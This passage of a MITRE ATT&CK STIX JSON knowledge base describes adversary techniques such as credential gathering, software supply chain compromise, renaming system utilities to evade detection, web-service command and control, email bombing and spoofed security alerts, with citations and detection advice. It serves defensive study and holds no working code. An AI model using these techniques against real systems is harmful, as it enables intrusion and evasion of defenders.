                    "description": "Ionut Ilascu. (2020, January 16). Customer-Owned Bank Informs 100k of Breach Exposing Account Balance, PII. Retrieved July 1, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/customer-owned-bank-informs-100k-of-breach-exposing-account-balance-pii/"
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                {
                    "source_name": "Bleeping Computer Mint Mobile Hack 2021",
                    "description": "Lawrence Abrams. (2021, July 10). Mint Mobile hit by a data breach after numbers ported, data accessed. Retrieved July 1, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/mint-mobile-hit-by-a-data-breach-after-numbers-ported-data-accessed/"
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                {
                    "source_name": "Bleeping Computer US Cellular Hack 2022",
                    "description": "Sergiu Gatlan. (2022, January 4). UScellular discloses data breach after billing system hack. Retrieved July 1, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/uscellular-discloses-data-breach-after-billing-system-hack/"
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            "created": "2020-03-16T14:12:47.923Z",
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                    "url": "https://attack.mitre.org/techniques/T1546/015",
                    "external_id": "T1546.015"
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                {
                    "source_name": "Elastic COM Hijacking",
                    "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
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                    "source_name": "GDATA COM Hijacking",
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                "Elastic"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated.  \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Windows Registry: Windows Registry Key Modification",
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161",
            "created": "2020-10-02T14:55:43.815Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1589/001",
                    "external_id": "T1589.001"
                },
                {
                    "source_name": "Bleeping Computer 2easy 2021",
                    "description": "Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/"
                },
                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
                },
                {
                    "source_name": "Detectify Slack Tokens",
                    "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved November 17, 2024.",
                    "url": "https://labs.detectify.com/writeups/slack-bot-token-leakage-exposing-business-critical-information/"
                },
                {
                    "source_name": "GitHub truffleHog",
                    "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020.",
                    "url": "https://github.com/dxa4481/truffleHog"
                },
                {
                    "source_name": "Bleeping Computer Stealer Logs 2023",
                    "description": "Flare. (2023, June 6). Dissecting the Dark Web Supply Chain: Stealer Logs in Context. Retrieved October 10, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/dissecting-the-dark-web-supply-chain-stealer-logs-in-context/"
                },
                {
                    "source_name": "Register Uber",
                    "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020.",
                    "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/"
                },
                {
                    "source_name": "GitHub Gitrob",
                    "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020.",
                    "url": "https://github.com/michenriksen/gitrob"
                },
                {
                    "source_name": "CNET Leaks",
                    "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020.",
                    "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/"
                },
                {
                    "source_name": "Okta Scatter Swine 2022",
                    "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.",
                    "url": "https://sec.okta.com/scatterswine"
                },
                {
                    "source_name": "Forbes GitHub Creds",
                    "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020.",
                    "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196"
                },
                {
                    "source_name": "SecureWorks Infostealers 2023",
                    "description": "SecureWorks Counter Threat Unit Research Team. (2023, May 16). The Growing Threat from Infostealers. Retrieved October 10, 2024.",
                    "url": "https://www.secureworks.com/research/the-growing-threat-from-infostealers"
                },
                {
                    "source_name": "Register Deloitte",
                    "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.",
                    "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"
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            "modified": "2025-04-15T22:11:53.342Z",
            "name": "Credentials",
            "description": "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nAdversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) (Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)\n\nCredential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware.(Citation: Bleeping Computer 2easy 2021)(Citation: SecureWorks Infostealers 2023)(Citation: Bleeping Computer Stealer Logs 2023)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ",
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                    "phase_name": "reconnaissance"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00",
            "created": "2020-03-11T14:17:21.153Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1195/002",
                    "external_id": "T1195.002"
                },
                {
                    "source_name": "Avast CCleaner3 2018",
                    "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.",
                    "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities"
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                {
                    "source_name": "Command Five SK 2011",
                    "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160309235002/https://www.commandfive.com/papers/C5_APT_SKHack.pdf"
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            "modified": "2025-04-15T22:08:31.739Z",
            "name": "Compromise Software Supply Chain",
            "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011)  ",
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                    "phase_name": "initial-access"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b",
            "created": "2020-02-10T20:03:11.691Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1036/003",
                    "external_id": "T1036.003"
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                {
                    "source_name": "Twitter ItsReallyNick Masquerading Update",
                    "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.",
                    "url": "https://x.com/ItsReallyNick/status/1055321652777619457"
                },
                {
                    "source_name": "Elastic Masquerade Ball",
                    "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
                    "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"
                },
                {
                    "source_name": "F-Secure CozyDuke",
                    "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"
                },
                {
                    "source_name": "LOLBAS Main Site",
                    "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.",
                    "url": "https://lolbas-project.github.io/"
                },
                {
                    "source_name": "Huntress Python Malware 2025",
                    "description": "Matthew Brennan. (2024, July 5). Snakes on a Domain: An Analysis of a Python Malware Loader. Retrieved April 3, 2025.",
                    "url": "https://www.huntress.com/blog/snakes-on-a-domain-an-analysis-of-a-python-malware-loader"
                },
                {
                    "source_name": "Splunk Detect Renamed PSExec",
                    "description": "Splunk. (2025, February 24). Detection: Detect Renamed PSExec. Retrieved April 3, 2025.",
                    "url": "https://research.splunk.com/endpoint/683e6196-b8e8-11eb-9a79-acde48001122/"
                },
                {
                    "source_name": "The DFIR Report AutoHotKey 2023",
                    "description": "The DFIR Report. (2023, February 6). Collect, Exfiltrate, Sleep, Repeat. Retrieved April 3, 2025.",
                    "url": "https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/"
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            "description": "Adversaries may rename legitimate / system utilities to try to evade security mechanisms concerning the usage of those utilities. Security monitoring and control mechanisms may be in place for legitimate utilities adversaries are capable of abusing, including both built-in binaries and tools such as PSExec, AutoHotKey, and IronPython.(Citation: LOLBAS Main Site)(Citation: Huntress Python Malware 2025)(Citation: The DFIR Report AutoHotKey 2023)(Citation: Splunk Detect Renamed PSExec) It may be possible to bypass those security mechanisms by renaming the utility prior to utilization (ex: rename <code>rundll32.exe</code>).(Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on these utilities executing from non-standard paths.(Citation: F-Secure CozyDuke)",
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1102/002",
                    "external_id": "T1102.002"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "modified": "2025-04-25T14:47:51.598Z",
            "name": "Bidirectional Communication",
            "description": "Adversaries may use an existing, legitimate external Web service as a means for sending commands to and receiving output from a compromised system over the Web service channel. Compromised systems may leverage popular websites and social media to host command and control (C2) instructions. Those infected systems can then send the output from those commands back over that Web service channel. The return traffic may occur in a variety of ways, depending on the Web service being utilized. For example, the return traffic may take the form of the compromised system posting a comment on a forum, issuing a pull request to development project, updating a document hosted on a Web service, or by sending a Tweet. \n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. ",
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
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            "x_mitre_platforms": [
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        {
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            "modified": "2025-04-15T19:59:03.090Z",
            "name": "Exploitation for Client Execution",
            "description": "Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.\n\nSeveral types exist:\n\n### Browser-based Exploitation\n\nWeb browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.\n\n### Office Applications\n\nCommon office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.\n\n### Common Third-party Applications\n\nOther applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.",
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            "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the browser or Office processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.",
            "x_mitre_domains": [
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            "type": "attack-pattern",
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            "created": "2022-03-04T18:56:38.844Z",
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                    "url": "https://attack.mitre.org/techniques/T1595/003",
                    "external_id": "T1595.003"
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                {
                    "source_name": "ClearSky Lebanese Cedar Jan 2021",
                    "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf"
                },
                {
                    "source_name": "GCPBucketBrute",
                    "description": "Spencer Gietzen. (2019, February 26). Google Cloud Platform (GCP) Bucket Enumeration and Privilege Escalation. Retrieved March 4, 2022.",
                    "url": "https://rhinosecuritylabs.com/gcp/google-cloud-platform-gcp-bucket-enumeration/"
                },
                {
                    "source_name": "S3Recon GitHub",
                    "description": "Travis Clarke. (2020, March 21). S3Recon GitHub. Retrieved March 4, 2022.",
                    "url": "https://github.com/clarketm/s3recon"
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            "modified": "2025-04-15T23:22:19.165Z",
            "name": "Wordlist Scanning",
            "description": "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).\n\nFor example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website\u2019s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).  \n\nAs cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally. ",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
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            "x_mitre_contributors": [
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                "Elvis Veliz, Citi",
                "Richard Julian, Citi"
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            "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Monitor for access to S3 buckets, especially those that are not intended to be publicly accessible. \n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
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            "id": "attack-pattern--bed81616-3dde-4685-be6e-ba9820f9a7ed",
            "created": "2025-01-31T14:39:58.478Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1667",
                    "external_id": "T1667"
                },
                {
                    "source_name": "krebs-email-bombing",
                    "description": "Brian Krebs. (2016, August 18). Massive Email Bombs Target .Gov Addresses. Retrieved January 31, 2025.",
                    "url": "https://krebsonsecurity.com/2016/08/massive-email-bombs-target-gov-addresses/"
                },
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                    "source_name": "sophos-bombing",
                    "description": "Mark Parsons, Colin Cowie, Daniel Souter, Hunter Neal, Anthony Bradshaw, Sean Gallagher. (2025, January 21). Sophos MDR tracks two ransomware campaigns using \u201cemail bombing,\u201d Microsoft Teams \u201cvishing\u201d. Retrieved January 31, 2025.",
                    "url": "https://news.sophos.com/en-us/2025/01/21/sophos-mdr-tracks-two-ransomware-campaigns-using-email-bombing-microsoft-teams-vishing/"
                },
                {
                    "source_name": "rapid7-email-bombing",
                    "description": "Tyler McGraw, Thomas Elkins, and Evan McCann. (2024, May 10). Ongoing Social Engineering Campaign Linked to Black Basta Ransomware Operators. Retrieved January 31, 2025.",
                    "url": "https://www.rapid7.com/blog/post/2024/05/10/ongoing-social-engineering-campaign-linked-to-black-basta-ransomware-operators"
                },
                {
                    "source_name": "hhs-email-bombing",
                    "description": "U.S. Department of Health and Human Services. (2024, March 12). Defense and Mitigations from E-mail Bombing. Retrieved January 31, 2025.",
                    "url": "https://www.hhs.gov/sites/default/files/email-bombing-sector-alert-tlpclear.pdf"
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            "modified": "2025-04-15T19:59:03.350Z",
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            "description": "Adversaries may flood targeted email addresses with an overwhelming volume of messages. This may bury legitimate emails in a flood of spam and disrupt business operations.(Citation: sophos-bombing)(Citation: krebs-email-bombing)\n\nAn adversary may accomplish email bombing by leveraging an automated bot to register a targeted address for e-mail lists that do not validate new signups, such as online newsletters. The result can be a wave of thousands of e-mails that effectively overloads the victim\u2019s inbox.(Citation: krebs-email-bombing)(Citation: hhs-email-bombing)\n\nBy sending hundreds or thousands of e-mails in quick succession, adversaries may successfully divert attention away from and bury legitimate messages including security alerts, daily business processes like help desk tickets and client correspondence, or ongoing scams.(Citation: hhs-email-bombing) This behavior can also be used as a tool of harassment.(Citation: krebs-email-bombing)\n\nThis behavior may be a precursor for [Spearphishing Voice](https://attack.mitre.org/techniques/T1566/004). For example, an adversary may email bomb a target and then follow up with a phone call to fraudulently offer assistance. This social engineering may lead to the use of [Remote Access Software](https://attack.mitre.org/techniques/T1663) to steal credentials, deploy ransomware, conduct [Financial Theft](https://attack.mitre.org/techniques/T1657)(Citation: sophos-bombing), or engage in other malicious activity.(Citation: rapid7-email-bombing)\n",
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "Windows",
                "macOS"
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            "x_mitre_impact_type": [
                "Availability"
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                "Application Log: Application Log Content",
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        {
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            "created": "2023-03-14T16:04:24.865Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/011",
                    "external_id": "T1562.011"
                },
                {
                    "source_name": "BlackBasta",
                    "description": "Antonio Cocomazzi and Antonio Pirozzi. (2022, November 3). Black Basta Ransomware | Attacks Deploy Custom EDR Evasion Tools Tied to FIN7 Threat Actor. Retrieved March 14, 2023.",
                    "url": "https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/"
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            "modified": "2025-04-15T23:12:05.813Z",
            "name": "Spoof Security Alerting",
            "description": "Adversaries may spoof security alerting from tools, presenting false evidence to impair defenders\u2019 awareness of malicious activity.(Citation: BlackBasta) Messages produced by defensive tools contain information about potential security events as well as the functioning status of security software and the system. Security reporting messages are important for monitoring the normal operation of a system and identifying important events that can signal a security incident.\n\nRather than or in addition to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), an adversary can spoof positive affirmations that security tools are continuing to function even after legitimate security tools have been disabled (e.g., [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)). An adversary can also present a \u201chealthy\u201d system status even after infection. This can be abused to enable further malicious activity by delaying defender responses.\n\nFor example, adversaries may show a fake Windows Security GUI and tray icon with a \u201chealthy\u201d system status after Windows Defender and other system tools have been disabled.(Citation: BlackBasta)",
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                {
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                    "phase_name": "defense-evasion"
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            ],
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Sensor Health: Host Status"
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441",
            "created": "2019-11-07T20:09:56.536Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/004",
                    "external_id": "T1137.004"
                },
                {
                    "source_name": "Microsoft Detect Outlook Forms",
                    "description": "Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.",
                    "url": "https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"
                },
                {
                    "source_name": "SensePost NotRuler",
                    "description": "SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.",
                    "url": "https://github.com/sensepost/notruler"
                },
                {
                    "source_name": "SensePost Outlook Home Page",
                    "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019.",
                    "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/"
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            "modified": "2025-04-15T22:55:34.415Z",
            "name": "Outlook Home Page",
            "description": "Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)\n\nOnce malicious home pages have been added to the user\u2019s mailbox, they will be loaded when Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)\n",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "created": "2020-03-16T15:48:33.882Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1573/002",
                    "external_id": "T1573.002"
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                {
                    "source_name": "SANS Decrypting SSL",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"
                },
                {
                    "source_name": "SEI SSL Inspection Risks",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-15T19:59:03.664Z",
            "name": "Asymmetric Cryptography",
            "description": "Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver\u2019s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",
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            "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
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            "created": "2020-03-09T15:04:32.767Z",
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            "modified": "2025-04-15T19:59:03.751Z",
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            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "macOS",
                "Windows",
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
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                "Network Traffic: Network Traffic Flow",
                "File: File Access",
                "Command: Command Execution"
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        {
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            "id": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5",
            "created": "2020-03-11T21:01:00.959Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1570",
                    "external_id": "T1570"
                },
                {
                    "source_name": "Dropbox Malware Sync",
                    "description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.",
                    "url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"
                },
                {
                    "source_name": "Unit42 LockerGoga 2019",
